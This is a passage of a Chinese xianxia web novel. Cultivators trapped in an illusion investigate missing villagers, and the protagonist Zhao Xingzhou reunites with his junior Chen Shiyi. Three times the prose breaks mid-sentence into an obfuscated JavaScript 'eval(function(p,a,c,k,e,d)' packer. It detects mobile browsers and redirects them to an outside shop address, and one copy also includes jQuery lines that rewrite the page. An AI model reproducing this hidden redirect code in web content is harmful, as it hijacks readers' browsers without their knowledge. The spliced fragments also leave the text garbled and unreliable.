冬冬闻言,在侍从看不到的角度冲小道士暗使眼色,摇了摇头,随后故作轻松道,“你们先进来吧,情况并不复杂,我慢慢说。”随后话锋一转,又瞪了一眼赵行舟,“还有你,你最好别做多余的事。大师兄不与你计较也就罢了,我可没那么好说话!” 赵行舟还是微笑着不搭话。 鹊妖眼观鼻鼻观心,全当自己不存在。 一行人进了前堂。 落座后,仆从去后面请主人。捡准没外人的空子,冬冬立刻招呼其他三人把头凑在一起,“这里有问题,过来说。” 她用手指了指地面,压低声音,“汝青镇闹鬼这事大家应该都知道了。原本是总有人家半夜听到敲门声,多次开门却不见人,疑心是闹鬼了。此地鬼气微弱,我和大师兄刚来时也没有重视,以为找到鬼的来历,随手渡了就算完事。” “结果在收集情报的时候,却发现了一个奇怪的事。” 说到这,冬冬看了一眼鹊妖,脸上掠过一丝崇拜,“说来这事还是大师兄发现的,要是没他,我根本发现不了这镇子中的猫腻。大师兄,这事还是你来说吧。” 大约鸟生从没被人用这种倾慕又依赖的语气说过话,鹊妖不免表情得意起来。不过没熟人倒也罢了,在对面树妖的注视下,他又有些施展不开,便靠咳嗽掩饰心情,道,“是这样的,我原本只是打听此镇近期有没有什么突然暴毙的人,不料意外发现这里半年内已经莫名其妙失踪过五个人了。生不见人,死不见尸,又没有人报官。而且这个镇上的所有人提起此事,都对这五个人的情况闭口不谈。你们说奇不奇怪?” “既然大家都闭口不谈,你是怎么发现的?”赵行舟问。 大家都知道他和大师兄不对付,说话没有尊称也在情理之中。冬冬以为他又在故意挑刺,正欲说点什么,千奕先一步接口道,“我就硬问呗,到处聊,聊到什么算什么。问得人多了,总会有人露出马脚。”其实还有爬墙偷看,上树偷听,喝茶硬唠,只要能收集到情报的手段,不管体面与否,他全用了个遍。 一旦拿到新的情报,冬冬就会一脸崇拜地看着他。虽知是假的,但这种来自女修士的欣赏还是能极大满足他的虚荣心,鹊妖对此相当有干劲。 不过这些事只能没人的时候自己做,而且要小心行事,不能暴露。千奕试过一次,似乎只要做出违反他目前正派形象的事,就会被一群没脸人围观,那种感觉异常危险。 赵行舟则看了鹊妖一眼。 勘察危险、收集敌情、隐匿气息、暗处突击,这些都是正常探位在队伍中发挥的作用。除去最后一项鹊妖可能武力值不足难以达标,其他几项,也不知是不是歪打正着,他意外完成得还不错。 本来拉鹊妖入伙是为了凑数,没想到这家伙不仅没拖后腿,还起到了一些作用。 碍于眼下背景所限,赵行舟不能对他说肯定的话,便继续问他,“还有别的吗?” 冬冬听不下去了,“三师弟,你问话连一句师兄都不肯叫,不觉得太不客气了吗?“ 小道士也劝,“是啊三师兄,大师兄不管怎么说都是我们的大师兄,你可不要忘了师傅跟你说的话。” 赵行舟逐渐适应了他这个狗血的戏本人物了,便没有说话,只是没由来地想,这世上死活不叫师兄的师弟又不止他一个? 鹊妖大度摆手,“师弟师妹,算了,我想三师弟也只是着急完成任务,你们且听我继续说哈。”他整了整表情,道,“经过调查呢,我发现此地问题最大的就是地方,就是这个王员外府。” “你们想啊,明明是他们主子请我们来捉鬼的,底下人却老是跟防贼似的盯着我们,说句话都要被监视,这是为啥?其次,来了两日,王员外始终不见人影,只有一个王大公子出面招待。此人师妹见过了,说话还算和气,对捉鬼的事也很上心。镇上有五个人失踪这件事,就是他先透露给我们的。但问到具体的事他又不肯多说,只说自己知道得不多,不是很矛盾吗?” “再就是,这府邸门前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437512|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总有阴气萦绕不散,感觉不对劲。我听下人说,府中还有一个二公子,自小患有痨病,而今病得很重,说两句话都会咳血。他极少见人,大家也都躲得他远远的。一是怕沾了病气,二是说,这王二公子似乎喜欢研究些不吉利的东西。时不时地就会从他屋前捡到些什么死蜘蛛,死蟾蜍什么的。有一次甚至还拾到一撮带血的头发,据说摸着像年轻女人的。但因为是自家主子,下人们也不敢声张。” 冬冬接过话来说,“要我说这王二公子肯定有问题!镇上半年内失踪的五个人里面,有三个都是年轻姑娘,谁就能说跟他没一点关系?他既然躲着不见人,我们就想办法去见他。若他害命在先,那如何也要把他带到五青山交给师傅审判。” 小道士点头,“师兄师姐所言不错,就这么办!” 赵行舟却在听到五青山时一愣。未料到眼下幻景中的几人,竟出自五青派? 五青派没落已久,近百年沦为昆仑附庸,实则建宗历史可追溯至几千年,久到创始人都已无从考究了。若说这种历史悠久的门派有前辈的福洞遗留下来也是正常,只是不曾想会在这里见到。 他不免又想到小道士在门口的那个摇摇欲坠地纸鸟,总觉得似曾相识,却想不起来具体在哪见过。 忽而场景一变,所有人围坐在一大圆木桌前,桌上佳肴美酒皆有。居中主人位是一个将过而立的男子,眉目温和,正笑着举杯对向五青派四人,“各位高人此行受累,我谨代表家父和汝青镇的乡亲们道一声谢。各位若还有什么需要的,尽管提,王某定当举全家之力配合。” 鹊妖经历了几次仍很不适应这种突出起来的变化,差点从凳子上摔下去,好在克制住了。冬冬配合笑道,“我听说王员外还有一位二公子,来了这几日却未得见过一面。不知今日是否可以见上一见,问他几个问题?” “这……”王大公子犹豫了下。 修真人士在凡间的地位超群,他们又是被请来办事的,冬冬这样提要求并不算冒昧。小道士考虑到师兄师姐来此地碰的壁,忍不住呛声道,“说两句话而已,有什么可为难的?” 王大公子忙笑道,“这位小先生有所不知,我这二弟痨病很重,就怕过了病气给诸位。而且他性情孤僻,说话不太中听,若见面冲撞了各位高人,我这做兄长的难辞其咎。” 冬冬道,“你且放心,我们修道淬体,凡间的病气难以近身。至于冲撞更谈不上,他常年重病缠身,心情不好是应该的,我们会体谅他。他若行动不便,我们去看望他也是一样。” “这……” 等了半天没有下文,小道士拍案而起,“你们嘴上说着全力配合,却问什么都吱吱唔唔,到底是想抓鬼还是在浪费我们的时间。莫非这王二公子真在做什么见不得人的勾当吗?” “这怎么会,自然不是……”王大公子还在犹豫,门外忽然传来人声。有人脚步嘈杂,语气慌乱,“二少爷,大少爷正在里面招待客人,特意嘱咐了任何人不得打扰。你可不能就这么闯进去……” 而后是一个沙哑的声音,低沉,略有些不耐,“闪开。” “不可啊二少爷,不可!” 虽是这么说,仆从却根本拦不下来者。一时间桌前五个人不约而同转头,眼看着门被人一把推开。 谣言中那个孤僻不祥,身患重病的王二公子终于入了场。此人眉峰似雪含霜,脸色异常苍白,眼下挂着一层阴郁之色,虽有明显的病容,却俊气迫人。 王二公子定定注视着桌侧一方,由于气势过于突出,人无比憔悴,又分外盛凌。足有几秒钟,方才深重地闷咳了两下,低哑道,“没我的坐席,不欢迎我?” 王大公子笑容扭曲了一瞬,随即恢复正常,起身向门外招呼道,“二弟说的哪里话,快,快来人加座。” 室内气氛随来人落坐变得紧绷,只有鹊妖不合时宜的“啊?”了一声。 他看了看王大公子,看了看赵行舟,又很茫然地看回了新来的人。 “这人怎么看着有点眼熟?”鹊妖傻傻开口,甚至忘了要维持自己的人物形象,“好像在哪见过这张脸……”最后满脸茫然地问赵行舟,“你见过没有?” 来者不是别人,正是他那位离飞升只差临门一脚的师弟。 傩戏面具一个凡物,幻景中带不进来,所以陈时易在幻景中会以本来面目示人。鹊妖作为昆仑门下侍,觉得凌绝峰峰主这张脸眼熟,也是很正常。只是可能眼下冲击太大,一时间没对上号。 赵行舟担心鹊妖再继续傻下去会露出马脚,从桌上抓了个馒头直接塞他嘴里,“吃你的饭吧,大师兄。”而后在空中和陈时易交流了一下眼神,扫向饭桌,对他示意。 陈时易接收到他的视线,不露痕迹地扫了饭桌上的一圈人,随后单手笼住嘴边沉闷的咳嗽声,问道,“这几位是?” “这几位是父亲从修真仙家请来的高人。”王大公子虽还在微笑,却明显有些言不由衷,“他们特地为咱们汝青镇驱邪捉鬼来的,正好有话想问你,你有什么说什么便是。” 陈时易又扫了一眼赵行舟,咳嗽一声,放下手,“但问无妨。” 冬冬没有说话,担忧地看着鹊妖。从这个王二公子一进门,大师兄就是这魂不守舍的模样。莫非是这王二公子身上有什么秘密,可以影响到已经是筑基高阶的大师兄?然后想起什么,瞪了一眼赵行舟。大师兄刚刚分明想说点什么,却被这家伙一个馒头堵住了嘴,该不会是这馒头又被他投毒了吧! 赵行舟倒真有话想问对面人:奈何川里那三条鱼到底是怎么回事?可惜现在不是时候,问不出口。 鹊妖则维持着走神的傻样,一直无意识啃着馒头。 只有小道士左右看了半天,发现始终没人开口,便小声对坐在身旁的赵行舟咬耳朵,“师兄,这人说不定真的有问题。我看他的面相,就觉得他有一种就算自己病死了,也会拉别人当垫背的不祥之兆。” 陈时易闻言一顿,视线怔忪,突然直勾勾落到小道士身上,“你叫他什么?” “咔嚓”,头顶传来一声什么东西破碎的脆响。在场所有没脸的仆从同时抬起头。像遭遇地震一样,屋顶房梁忽然变得难以支撑起来,“咔嚓”一声接着一声,木屑如雪般抖落,几乎濒临崩塌。 赵行舟有所察觉抬起头来,用灼灼的目光示意陈时易,不要乱来。 这时,鹊妖突然一声大叫“啊!”腾的一下站起来,把所有人都吓了一跳。 鹊妖呆站了几秒钟,脸上先后出现茫然、惊醒、不自信等神情,而后又低头往旁侧看了一眼,像是要确认什么。下一秒,他张大嘴巴,突然两眼一翻,直挺挺仰面倒了下去,椅子跟着翻滚到一旁。 冬冬大惊失色,“大师兄!”小道士也跟着扑上来,“大师兄,你怎么了!” 场面陷入混乱,所有人都知道这大师兄重伤未愈,所以突然晕过去似乎也不是什么奇怪的事。王大公子招呼仆从们手忙脚乱地将鹊妖扶起来,冬冬和小道士则一路尾随着出门。 饭桌上一时间只剩下两个人坐着没动。 待人走干净后,赵行舟直接把手中的筷子扔在桌子上,“你疯了?” 陈时易不由得咳嗽起来。幻景中这身痨病是真的,眼中几乎沉底的愤怒更做不了假。他强忍住喉咙间杂乱的呼吸,瞪着赵行舟,“他刚刚叫你什么?” “叫师兄,怎么了?” “他叫你师兄你就答应了?” “我为什么不能答应?”赵行舟用手点了点他,露出难以理解的表情,“不是,你自己不爱叫,还管得着别人叫不叫?” 23. 第 23 章 “我管不着?”陈时易看样子是被气笑了,“那么谁能管的着,你告诉我。” 赵行舟没立刻答话,而是挑起一点微笑反问,“你觉得呢?” 说罢,踢了一脚凳子,欲一走了之。心想,开玩笑,天底下能管他闲事的人还没出生呢。 不料人站起来了,对面咳嗽声还是没止住。 幻景如此。除非蛮力破镜,受其反噬,否则只能忍受这种限制。这声音听在赵行舟耳朵里有些不得劲,走了两步,不免又回过头来,“你这身体是纸糊的吗,这么弱?” 修道三百多年,昆仑渡劫期的南仲君何曾听过这种抱怨。他扫了一眼赵行舟迈出去的步子,没有着力点攥了把停在桌上的手,忽然剧烈地咳嗽起来,一声比一声丛急。 听在赵行舟耳朵里,简直感觉他肺腔子都快咳出来了,停留片刻,不由得皱着眉头又坐回来。他本觉得自己在此幻景中的角色已是十分棘手,不成想陈时易更为离谱,竟沦落成一个半点修为没有的重病之人。 这幻景残念是不是有什么癖好,专好给别人安排和现实中完全相反的角色? 从旁边取了个没人用的新杯子,倒满水,赵行舟道,“痨病而已,你一只脚都迈进飞升了,总不至于被这玩意儿拿住,缓缓。” 陈时易声息沉杂,仍固执于刚刚的话题,“你可以管我,咳咳,我凭什么不能管你?” “凭我是你师兄。”赵行舟耐心不多,把手中杯连着话一起撂出去,“爱喝不喝啊。” 这话倒像是个机关,莫名把原先皱起来的气氛扯平了一点。陈时易喉咙里含糊不清地冷冷哼了一声,遂放下手。 撤下来的手指血迹黏腻新鲜,唇边也沾了几点没擦去的刺红。 此人惯常以冷峻难测的神态示人,拒人以千里之外。可眼下形销骨立,暗淡苍弱,又真有些濒临油尽灯枯的虚亏感。取过赵行舟手边的杯子,抬手一饮而尽。 指缝渗着血,把杯子轻轻握了半圈红,而后把瓷杯往桌上一扣,陈时易冷道,“没说不喝。” 话是挺硬气的,可惜不知道在跟谁说话。赵行舟从侧面看到对方唇线略微紧绷,不由得“啧”了一声。 该说不说,此人和记忆里那个倔驴一样的师弟,脾气习性确实如出一辙。直到刚刚这番口头交锋,他第一次有了“此人好像真是他师弟,他们曾经真的很熟”的感觉。 再次捡起此人饮过的杯子,拿在手中看了看。一切不过幻景,血却这么逼真。不知为何,他这位师弟如今明明实力强悍至极,在赵行舟印象里,却总有一种伤痕累累、要死不活的形象反复出现。例如那个古怪的心魔、新想起来的两段记忆,又好比现在。 手中杯质地光润,幽幽泛着蓝光,如昆仑雪的夜景,如逐月台天寒地冻中的一轮明月。赵行舟想起一件事,随口问他,“说来我在入幻景时,阴差阳错想起来一些往事,然后又莫名其妙梦见了你……在昆仑之巅用三条鱼招魂。” 回忆着不久前看到的场景,相当逼真,又处处透着古怪。他右手搭在桌沿,手指顺势敲击了两下桌面,边回忆边道,“那三条鱼看着像灵魄小鲤,我虽未见过实物,但天底下能养在引魂灯中的鱼就这一种,应该没有认错。可灵魄小鲤怎么可能离开鬼域,又偏巧落到你手里。”赵行舟想不透似的把玩着手中杯,“我醒来后总觉得此场景很不对劲,你说呢?” 陈时易神情微顿,听着他的描述,神色忽而泛起一丝自嘲,念了一个字,“梦?”又道,“你怎么可能梦得见。” 赵行舟一愣,“什么意思?” “若你真能梦见,知道我在找你,这么多年莫非是故意躲着不回应我么。”陈时易形同自问的声音落了地,伴起一点轻浅稀落的笑音,“我找你找了一百一十五年,招魂足有七十五年,能想的办法全想了,三界两域却一个鬼影都没有。到后来我总在怀疑,你是不是听说了什么传闻,所以一直躲着不肯见我。” 言罢,他转过头来,眼下郁色加深,有很凛然的探究之意,“你说呢?” 赵行舟看着眼前人,忽然意识到这张脸和梦中分毫不差,连神态都相仿。重点是,他压根未提及梦中被招魂之人是谁,可陈时易张口就将这一切补全了。这是不是意味着他魂体所见昆仑之巅的一切大概率都是真的? 转念再想那具大树下的生前身,莫非也是真的? 不过,就赵行舟是不是躲着不见这件事,数日内已经听陈时易念过两回,其中颇有不信任之感。他不免好奇,到底是怎样的坊间传闻,值得他亲师弟这样猜测他。 “你这话问得实在是……”赵行舟想了一下,不知道怎么说,便摇着头放下手中杯,“首先,撇去宗门关系不谈,以你我的私交,你应该清楚我的为人。莫说坊间传闻的真实性从来都有待考究,便是真的又怎么样,我何曾在乎过天下人怎么想。我赵行舟生前背负的污水骂名无数,若真在乎,还不如早点找个泥汤子淹死了了事。” 陈时易闻言微滞,视线停在虚空的一点,听他继续道,“再者,实不相瞒,我此番醒来后,也时常被一个问题所困扰。” 赵行舟陷入回忆,落在桌面上的手不轻不重地敲了两下,“要说起一百一十五年前那场围剿,我不巧到了突破的关键期,一身修为尽失,让有心人得了空子。世人皆知我与宗门间交情浅薄,摊上那样的谣言,他们料想昆仑不会有人冒着背叛种族的风险,舍命助我。可谢海生来了。那日为护我周全,师父圈地不走,几近战死。” 那天的记忆仍对赵行舟有难言的影响,似乎略一闭眼就能见得师父浑身浴血,以一剑指天下,他缓了缓神,道,“我很清楚,若只有一个选择,我的祭剑人不会有别人。师父对我恩重如山,形同再造,那样的绝境下,我想不通我的祭剑人为什么不是他。直到上山遇见了你……” 赵行舟牵起一丝笑看他,笑中有些无奈,试图透过无数风霜去看岁月本来的面目,“原来,我还有师弟。” 于是似乎一切都可以说得通了。不是他不想祭剑给师傅,而是那天愿舍命助他的人不止一人,所以他需要做出的选择也不止一个。 他大约猜得出那天真实发生的全貌,也知道陈时易在他死后找了他很多年,只是不知道他为了找他到底做到什么地步了。这位师弟心魔缠身,神智容易失控,做出多么夸张的事迹都有可能。而今看来,若梦境为真,大约也不会比他在天下人面前祭剑这事更低调了。 “别说了……”陈时易一把攥住赵行舟的手腕,用力过度,声音不再平稳,“别说了。” 赵行舟没有第一时间挣脱开,而是倾身,右手顺势在其面前的桌上敲了两下,示意对方抬头,“我说这些没有什么别的意思,只是你此番问了我好几遍,我便想让你清楚一点。当年给你祭剑的人,是凌绝史上最自以为是的一个人。若他行动自如,没有失去一切记忆,怎么可能不来找你?” 虽样貌身形全无相似之处,可赵行舟某类神态却是典型的。陈时易抬起头来与他对视,紧簇的眉峰松开一些,透出一点怔忪。他喉结锋利清晰地滚动了一下,动嘴唇时,却觉得喉咙干涩,“……当真?” “自然当真。”赵行舟看向他的目光含笑,却是认真,“你要对我有信心。” 岁月从眼前翻飞如纸,过往却如一张巨网,攫住挣脱不开的人。曾经无数次,赵行舟如此坐在人前,骨头缝里透着散漫。想什么事情,或是要做什么决定的时候,他的食指和中指会不自觉敲在桌面上,像催促着得到答案。偏偏脸上又是一副什么都不放在心上的模样,只惯常挂着微笑。 陈时易虚了虚握力,复又加深了力道,艰涩道,“我有的。” 被抓住手臂的赵行舟回应他,“有便好。” 门“哐当”一声被撞开,一个无脸小厮慌慌张张跑进来,“二少爷,二少爷!大少爷着急请您过去,您……” 进门一看,他家二爷正抓着另一位道爷的小臂不撒手,以为是二人起了争执,忙对着赵行舟叫道,“这位道爷,您大人有大量啊,我家二少爷身子骨弱,您也千万别跟他动手,这要是打坏了人,小的,小的可……” 赵行舟嘴上说,“我怎么会跟一个凡人计较。”同时转动了下右腕。在外人看来,陈时易薄薄的眼皮始终很冷淡的垂着,好似情绪不佳。可私下他却知道赵行舟是什么意思,便不怎么情愿地缓缓松开了手。 这秘境对他而言固然简单,强行破境所造成的那点反噬也无关痛痒。可赵行舟如今神魂破损得厉害,今时不同往日,他不能冒险,只能图稳。 听赵行舟对小厮问道,“却不知我师门的其他三人刚刚被带去哪里了?” 小厮一拍脑子,“瞧我这记性,几位道爷正在客房等着问二爷的话呢,我此番带二少爷就是去见他们的,您二位要不一同随我来吧。” 小厮在前面带路,赵行舟跟随其后,陈时易在更靠后的位置,抬头便可见其背影。背负同一柄剑,风骨或可破出皮相。一百年确实漫长无边,可这一刻陈时易又却觉得,原来不止漫长,还恍若隔世。 拉开差不多三四丈的距离,陈时易突然对赵行舟低声放话,“不要让他叫你师兄。” 这个“他”指的还是幻景中的小道士,听上去很有些难以调解的意思。赵行舟不想被前面的无脸人听见,便也压低嗓音,“这我可管不着。” “你可以不作回应。” 这倒不难,但有必要吗?赵行舟闻言回头,觉得颇有意思,“我就不明白了,你跟假人较什么劲?” 动静有点大,吸引了前面小厮的注意,不过看两人跟在后面各走各的模样,没什么异常,便继续带路。走了一段,听身边人对着空气开嗓,冷淡又决绝,“假的也不行。” 场景变换,三人前后迈进一间客房。 冬冬围在床边,因鹊妖尚未苏醒,面上难免忧心。小道士站在他后面,一看见三人进了房间,便跑向赵行舟焦急道,“师兄,都一炷香的时间了,大师兄还未醒来,这可怎么是好。” 察觉到身后人步子明显一顿,赵行舟清了清嗓子,便绕过小道士对冬冬说,“你们别急,我有办法让他醒,只是需要大家稍作回避。” “你?”冬冬不信任地打量着他,“你又想耍什么花样。” 赵行舟对她语气温和,“是不是花样等他醒了你自己问他就是。” 小道士看了一圈,“是所有人都要出去吗?” 赵行舟点头,“是的,这唤醒法诀是我机缘偶得的,不便展示于人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冬冬闷了很长时间,还是叹了一口气,“其实没什么,若三师弟真能把心思更多的放在别的上面,师傅和大师兄都会宽心许多吧。我也不想再这样防着他了。” “哦,不知是他做了什么事?” …… 屋内不知外界发生的事。 所有人走后,赵行舟坐到床边,挑起右边袖口,左手捏住鹊妖的脸,右手拇指对着其人中处狠狠一掐。 “嘶——!”鹊妖吃痛惊吸一口气,猛地睁开眼,与赵行舟大眼对上小眼。 赵行舟撤了手,挑眉,“这就醒了?” 鹊妖茫然坐起来,看着床周帷幔,想了半天才想起他身处何处,忽然一个醒神,跟做贼似的东张西望起来,“就你我二人在此处,其他的人都去哪了?” “让我打发走了。”赵行舟把袖口挽下来,被鹊妖一把紧紧攥住右手腕,声调尖锐,又抖又颤,“那个王二公子呢? “也走了。”赵行舟眉头皱得能夹死蚊子,用左手把鹊妖往后拎去,“撒手,别逼我揍你。” 鹊妖畏惧威胁,下意识松了手,但双眼还是很失神, “太可怕了,那个人真的太可怕了……” 赵行舟问他,“可怕什么?” “可怕……”鹊妖喃喃了一句,突然一回神,大声尖叫起来,“你可知道这人长得像谁?” “谁?” “陈……南……南……”鹊妖边说边艰难地咽下口水,最后也没能完整念出一个名字,赵行舟帮他补全,“陈时易么,你认识他?” “我、我认识?”鹊妖大惊失色,几乎吓脱相了,手脚并用地就要捂赵行舟的嘴,“我怎么可能认识他!还有你怎么敢直呼南仲君姓名,你不想活了吗!” “你不认识他你怕什么。”赵行舟偏头躲过去鸟爪,一个两个峰主的名字都不能提,还真是把他们当个人物了,而后对鹊妖道,“放心吧,他不是南仲君,只是队里我那个老朋友。不然他怎么会与我们一同出现在此处。” 事先遣走所有人,赵行舟便是做了这种打算。不能曝光陈时易的身份,他的身份太过招摇。而且就这小妖的定力,要是知道了真相,绝对难以维持大师兄的形象,这秘境迟早坏在他手上。 “不是?”鹊妖一愣。他入昆仑不足百年,只隔着云层摇摇看过几眼南仲君,其实连五官也看得不太清晰。可不知为何,在幻景中看到王二公子的第一眼,那个模糊的五官,和危险至极的灵觉忽然就被清晰的补全了。他几乎来不及反思,就被当场被铺天盖地的危机感吓晕过去。 而今一想,也对,南仲君是什么人物,怎么可能出现在此处。这树妖最后入队的老朋友,不就是那个带着奇怪面具的黑衣男人?虽也处处透着古怪的危险感,但此人绝不可能是南仲君。 首先,算这树妖走了狗屎运,师承心元剑君,也有幸见过南仲君,但总不可能因为这个就能和南仲君称兄道友了吧。 其次,也是最重要、最关键的,昆仑凌绝峰峰主南仲君,长达百年霸居天字一榜首位,天下第一的杀位,年仅三百岁的渡劫期,还是个眼高于顶的剑修。 怎么可能加入他们这个杂鱼队,当生位?! 若果这一切是真的,千奕宁愿相信自己的鸟头长在屁股上。 24. 第 24 章 窗外光状变换,屋内一下子陷入漆黑,像被突然吹灭的蜡烛。 千奕沉浸在自己的思考中,被这突如其来的变化吓了一跳。现如今他还是对这个环境难以适应,“这鬼地方到底怎么回事,一会白天一会晚上的。” “对了,你还不知道这里是怎么一回事。” 赵行舟言简意赅地向千奕介绍了一下离天幻境的机制,听得千奕瞠目结舌,“也就是说,咱们其实是……在一个死人的残念里?” “没错。” “而我们出去的条件,是要完成他的心愿?”千奕声调越来越高,抓狂道,“这死了不知道几百几千年的人物,如何去猜他的心愿。若他的心愿就是不让别人好过,想要人陪着,难道我们就一辈子在这里陪着他不成?” “哎,不慌。”赵行舟语调上扬“哎”了一声,抬了下手,示意他不用那么激动,“想出去还有别的办法。” 千奕立刻追问,“什么办法?” “真到那份上了,再告诉你也不迟。”赵行舟卖了个关子,而后站起身来。千奕看他有要走的意思,从床上爬起来,“你干嘛去啊?” “场景变了,说明有事发生,我出去看看。”赵行舟往外走,“此地所有发生的事情都和造境者相关,破镜最关键的就是要排查出造境者是谁。待在一个地方不动是浪费时间。” “等等,我也去,我也去……” 千奕尾随赵行舟跑进黑漆漆的走廊中,月光阴森晦暗,他紧张咽了一口唾沫,“接下来应该怎么排查?” “就从现有的事件找线索。“赵行舟顺着一个方向往前走,“此地目前发生了两件事,一是五青四人受人委托驱鬼,二是村里无故失踪了五个人。先查清楚这两件事的关联再说。” “怎、怎么查?” 赵行舟正欲开口说对策,忽然想到什么,放慢了半拍的步子,若有所思地回过头。 鹊妖跟得很紧,险些一头撞在他后背上。 “话说回来,你也算是我们队里的探位。” 千奕感觉不妙,“你想干嘛?” “看你做探位做得还不错,不妨在此处多锻炼锻炼。这两件事交给你去查好了。” “什么?!”千奕脸色一变,“什么鬼探位,分明是你强行把我抓进来凑数的,否则我怎么会在这个鬼地方遭罪!现在说得好像和你没关系似的,我和你说这事儿鹊爷跟你没完!……” “想不想出去?”话没说完被人截断。 “想……是想。” 站在原地,千奕莫名被人伸手拍了拍肩膀,颇有些任重道远的意思,“那你查快一点,我赶时间。” 发现又被摆了一道,千奕敢怒不敢言,“你、你……!” 这时场景再转,赵行舟二人脚下不动,出现在一个卧房门口。 房门敞着,屋内灯火通明。 小道士站在门口,像是遇见了什么烦心事,有些不痛快。见他们二人出现,脸上一喜,“师兄,你们来了。” 闻声,冬冬像只兔子一样从屋里跑出来,一下子扑到千奕怀里,“大师兄,你终于醒了。”她眼泪汪汪地抬头看向千奕,“你没事吧?还好你没事!” 如此这样被女修士抱住,千奕此生是头一遭。本来还憋着对赵行舟的满腔愤懑,现在却一下子僵在原地。 有一丝理智告诉他,一切都是假的,不可过于当真。可冬冬脸上的担忧实在太逼真了,扑过来的怀抱也过于温柔,令千奕张了张嘴,一时间什么也说不出来。 方才的尖锐、不满,随着这一个拥抱,莫名其妙消解了大半。千奕一双手支在两侧,抱住她也不是,背在身后也不是,呆呆站在原地,倒也有几分两情相悦似的依偎感。 小道士则越过依偎的两个人,抓住赵行舟的臂弯,焦急地对赵行舟说,“师兄快随我来,我们在王二的房间里搜出了几样东西。这个人果然如大师兄说的那样,很有问题!” 本不用他拉,赵行舟也要进屋的。二人往内迈腿,刚一进去,赵行舟便感觉到自己身上像是被什么东西蛰了一下。 顺着不算陌生的侵锐感望过去,和预料中人的视线对了个正着。 只是对视着走了两步,赵行舟脚步一顿,表情转而变得有些奇怪。 原因无他,是他没想到屋内竟会是这样一番情景。 陈时易斜倚在床的围栏一侧,被人用一根银色绳索反手捆绑住,见有人进门,便撑着肩骨与之回望。 他面上病容黯淡,剑气淬体又衬得周身过于锋利,在方寸间形成了一种不寻常的矛盾感。 目光反倒幽静。 而捆他所用之物也不是别的,正是几个月前玄元门小弟子对赵行舟使用的那种最低品阶的缚妖索。 这东西就算不用于抓妖,用来捆修行低微的修士,也是很好用的结实绳子。更别提凡人了。 赵行舟掩饰性地摸了摸鼻子,默不作声去打量陈时易。要不说师出同门,果然有缘份,连落了难遭的罪都如出一辙。 陈时易大约看出了他眼中的打趣之意,不恼,只是有气无力地回望他,好似刚进门蜇的那一下视线也与他无关。 赵行舟便转过身去问小道士,“你们就这么把缚妖索给凡人用上了,未免大材小用了些吧。” 小道士解释道,“师兄有所不知,你可不要小看这个人。”他瞪了一眼床上那人,然后把摊开在桌上的几张碎纸递到赵行舟眼前,“这些纸都是我们在王二的卧房中找到的。我和冬冬师姐虽不知道这上面写的是什么招式,可这步骤里又是内脏,又是献祭的,一看就是邪术!说不定村里那消失的五个人,就是这人杀的!” 眼前递过来的几张纸上,所写内容残缺,仅有几句话看得清晰,“夺五行,鲜食荤腥,沐浴祭之……”“……火行之心,开膛取之,水行之肾,剥皮……行之脾……”“鲜血为引,怨鬼祭于阴辰……延寿……修……” 赵行舟仔细看着,不由得轻皱了下眉头,从记忆中翻找出处。 但表面上还得装装样子,对小道士向自己身后示意,“此物从何而来,可是询问过此人了?” 小道士有些气恼,“自然问过,但这人自进屋后便像哑巴了一样,我们问他什么他都不开口。我和师姐怕他真修过什么邪术,就打算先将他绑起来,再想办法盘问。不过……” “怎么?” “不过……倒发生了一件很奇怪的事。”小道士脸上掠过一丝迷惘的纠结,“我和师姐最先想绑他的时候,明明天色还早,却不知为何突然晕了过去。醒来的时候天已经黑了,这几张纸莫名其妙被人扔在地上,而此人就像现在这样坐在床上,一副死气沉沉的样子。我和师姐再去绑他时,他也没反应。等我们刚把他捆结实了,你和大师兄就出现了。你说巧不巧。” 赵行舟:“……是巧。” “师兄,你说这到底是有高人帮我们,还是说这又是另一个阴谋啊?” 赵行舟想,陈时易修为之高,能提前一点感知到幻境变化,也不令人意外。只是弄晕境中人? 这种离谱的行为幻景都默许了,只能说明渡劫期在此地……果然有优势。 “既然这几张纸上写的东西我们都不认识,不如传信给师傅,让他来做定夺。”赵行舟沉默片刻,答非所问。 而后转头,再看。他这位离谱的师弟斜靠在床栏上,微微闭上眼睛,偶尔喉咙里闷出两声不明显的咳嗽,一副不打算反抗的样子。 “你……” 赵行舟难得语塞。 考虑到刚才小道士所说巧合,一时对怎么说才比较符合人物角色犯了难。这时陈时易有所感知,抬了一下单薄却锋锐的眼皮,道,“我说。” 小道士上前一步,“你说什么?” 陈时易看了一眼赵行舟,又闭上眼睛,好似很疲惫似的,嗓音低哑,“你想问什么,我都可以告诉你。不过我有个条件。” 小道士显然比赵行舟着急多了,不等他接话便抢着问,“什么条件,快说!” 半天没有听到答复,小道士急得快要扑上去了,赵行舟拦了他一下。 “你说吧。”赵行舟声音不高,往床的方向走去。 走过来的方向背对着小道士,所以赵行舟那种隐含的神态应该只有床的这一侧能看到。他目光里带着点打量,笑意一层,不太深入。 陈时易维持着反手被捆绑的姿势,看着赵行舟走过来。 剑道修到顶峰,身骨盛凌逼人,本压不住锋芒。可不知为何陈时易今日却收敛得厉害,一反常态,气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 